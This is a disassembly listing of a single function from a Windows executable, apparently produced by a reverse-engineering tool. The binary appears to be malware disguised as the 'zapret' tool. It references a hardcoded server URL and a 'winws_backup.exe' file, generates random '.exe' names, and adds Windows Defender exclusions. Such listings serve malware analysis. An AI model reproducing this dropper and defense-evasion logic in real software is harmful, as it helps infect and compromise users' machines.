Function at 0x140030fa0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, 0x1500
call fcn.140036ba0
sub rsp, rax
mov rax, qword [0x140083100]
xor rax, rsp
mov qword [rsp + 0x14f0], rax
xor r12d, r12d
mov r9, qword [rdx]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [r9 + rdx*2], r12w
jne 0x140030fe1
mov rax, qword [0x140083da8]
lea rsi, [0x140083d90]
cmp rdx, rax
ja 0x14003102d
mov rdi, rsi
cmp rax, 7
cmova rdi, qword [0x140083d90]
mov qword [0x140083da0], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
mov rcx, rdi
call fcn.140062830
mov word [rbx + rdi], r12w
jmp 0x140031035
mov rcx, rsi
call fcn.14002b9c0
lea rcx, [rsp + 0x90]
call fcn.140022f70
nop
cmp qword [rsp + 0xa0], 0
jne 0x1400310bb
lea rdx, str.Failed_to_retrieve_the_save_directory.
lea rcx, [0x1400853c0]
call fcn.14002adf0
mov rcx, rax
call fcn.14002b0b0
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x140031947
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400310b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003197a
call fcn.1400361dc
jmp 0x140031947
lea rdx, str.AppData_directory_being_used:
lea rcx, [0x1400852a0]
call fcn.14002adf0
lea rdx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 7
cmova rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0xa0]
mov rcx, rax
call fcn.14002cf40
mov rcx, rax
call fcn.14002b0b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], r12
mov qword [rsp + 0x138], r12
mov r8d, 0x21
lea rdx, str.http:__94.131.112.187:5000_zapret
lea rcx, [rsp + 0x120]
call fcn.140009570
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], r12
mov qword [rsp + 0x118], r12
mov r8d, 0x10
lea rdx, str.winws_backup.exe
lea rcx, [rsp + 0x100]
call fcn.140009570
nop
lea rcx, [rsp + 0x140]
call fcn.140022f70
lea r10, [rsp + 0x140]
mov r14, qword [rsp + 0x140]
mov r15, qword [rsp + 0x158]
cmp r15, 7
cmova r10, r14
cmp qword [0x140083da8], 7
cmova rsi, qword [0x140083d90]
mov r11, qword [rsp + 0x150]
mov rax, qword [0x140083da0]
cmp r11, rax
ja 0x140031245
test r11, r11
jne 0x1400311ce
mov rbx, r12
jmp 0x14003124c
sub rax, r11
lea rdi, [rax + 1]
lea rdi, [rsi + rdi*2]
mov rbx, rsi
movzx r9d, word [r10]
mov rax, rdi
sub rax, rbx
sar rax, 1
mov rcx, r12
je 0x14003120a
cmp word [rbx], r9w
je 0x140031207
cmp rax, 1
je 0x14003120a
dec rax
add rbx, 2
cmp word [rbx], r9w
jne 0x1400311f4
mov rcx, rbx
mov rbx, rcx
test rcx, rcx
je 0x140031245
mov rdx, r11
mov rcx, r10
test r11, r11
je 0x140031237
mov r8, rbx
sub r8, r10
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14003123f
add rcx, 2
sub rdx, 1
jne 0x140031223
sub rbx, rsi
sar rbx, 1
jmp 0x14003124c
add rbx, 2
jmp 0x1400311e0
mov rbx, 0xffffffffffffffff
cmp r15, 7
jbe 0x140031287
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x14003127f
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400319b0
mov rcx, r14
call fcn.1400361dc
cmp rbx, 0xffffffffffffffff
jne 0x1400316f1
call fcn.1400358ec
mov dword [rsp + 0x14e4], 0xffffffff
mov dword [rsp + 0x164], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x164], eax
inc rdx
cmp rdx, 0x270
jb 0x1400312b0
mov dword [rsp + 0x160], 0x270
mov rax, qword [0x140086b10]
mov rsi, qword [0x140086b08]
sub rax, rsi
sar rax, 5
dec eax
mov dword [rsp + 0x74], eax
btc eax, 0x1f
lea rcx, [rsp + 0x160]
cmp eax, 0x7fffffff
jne 0x140031314
call fcn.140032700
mov ecx, eax
jmp 0x14003135b
lea ebx, [rax - 0x7fffffff]
call fcn.140032700
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x140031357
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140031357
nop dword [rax]
lea rcx, [rsp + 0x160]
call fcn.140032700
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x140031340
shr rcx, 0x20
lea eax, [rcx - 0x80000000]
movsxd rdx, eax
xor rdx, 0xffffffff80000000
shl rdx, 5
add rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140028500
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rsp + 0xa0]
sub rax, rcx
cmp rax, 1
jb 0x140031980
lea r9, [rsp + 0x90]
cmp qword [rsp + 0xa8], 7
cmova r9, qword [rsp + 0x90]
mov qword [rsp + 0x30], 1
lea rax, [0x1400771ec]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0xe0]
call fcn.140002030
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rsp + 0xe0]
call fcn.140002170
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x70]
call fcn.140002170
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], r12
mov qword [rsp + 0xd8], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xd0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x1400314db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400314d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031986
call fcn.1400361dc
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], 7
mov word [rsp + 0x70], r12w
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x14003153d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031538
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003198c
call fcn.1400361dc
mov qword [rsp + 0xf0], r12
mov qword [rsp + 0xf8], 7
mov word [rsp + 0xe0], r12w
lea rdx, [rsp + 0xc0]
call fcn.140024e60
nop
mov rdx, qword [rsp + 0xd8]
cmp rdx, 7
jbe 0x1400315b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400315ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031992
call fcn.1400361dc
mov qword [rsp + 0xd0], r12
mov qword [rsp + 0xd8], 7
mov word [rsp + 0xc0], r12w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140031610
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003160a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031998
call fcn.1400361dc
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x140031659
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031653
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003199e
call fcn.1400361dc
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x1400316a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003169c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400319a4
call fcn.1400361dc
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x1400316ea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400316e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400319aa
call fcn.1400361dc
xor eax, eax
jmp 0x14003194c
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov r8d, 0x1e
lea rdx, [0x1400771f0]
lea rcx, [rsp + 0x50]
call fcn.140009570
nop
lea rcx, [rsp + 0x50]
call fcn.140001bb0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140031768
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031763
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400319b0
call fcn.1400361dc
call fcn.140025e00
lea rcx, [0x1400852a0]
test al, al
jne 0x140031793
lea rdx, str.Windows_Defender_is_not_enabled__adding_exclusions...
call fcn.14002adf0
mov rcx, rax
call fcn.14002b0b0
call fcn.140025fb0
jmp 0x1400317a8
lea rdx, str.Windows_Defender_is_enabled__skipping_exclusion_addition.
call fcn.14002adf0
mov rcx, rax
call fcn.14002b0b0
nop
call fcn.140025780
nop
lea rcx, [rsp + 0x50]
call fcn.1400065b0
nop
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.1400023b0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140031807
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031802
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400319b6
call fcn.1400361dc
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov ecx, 0x48
call fcn.1400361a0
mov rbx, rax
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0xe0]
mov rcx, rax
call fcn.140028500
nop
lea rcx, [rbx + 0x20]
lea rdx, [0x140086b20]
call fcn.140028500
nop
lea rax, [0x14002f410]
mov qword [rbx + 0x40], rax
mov qword [rsp + 0x70], rbx
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
mov r9, rbx
lea r8, [0x140032680]
xor edx, edx
xor ecx, ecx
call fcn.14004244c
mov qword [rsp + 0xb0], rax
test rax, rax
je 0x1400319c7
cmp dword [rsp + 0xb8], 0
je 0x1400319bc
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call fcn.1400345fc
test eax, eax
jne 0x1400319bc
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xb0], xmm0
movabs rdi, 0x7fffffffc46535ff
movabs rbx, 0x7fffffffffffffff
lea rcx, [rsp + 0x70]
call fcn.140020470
mov rax, qword [rsp + 0x70]
cmp rax, rdi
jge 0x14003190d
add rax, 0x3b9aca00
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.14002d690
jmp 0x1400318e2
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
call fcn.14002d690
jmp 0x1400318e2
mov eax, 1
mov rcx, qword [rsp + 0x14f0]
xor rcx, rsp
call fcn.140036180
lea r11, [rsp + 0x1500]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
call fcn.14003c334
nop
call fcn.140001980
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
mov ecx, 1
call fcn.1400344c0
nop
mov dword [rsp + 0xb8], r12d
mov ecx, 6
call fcn.1400344c0
int3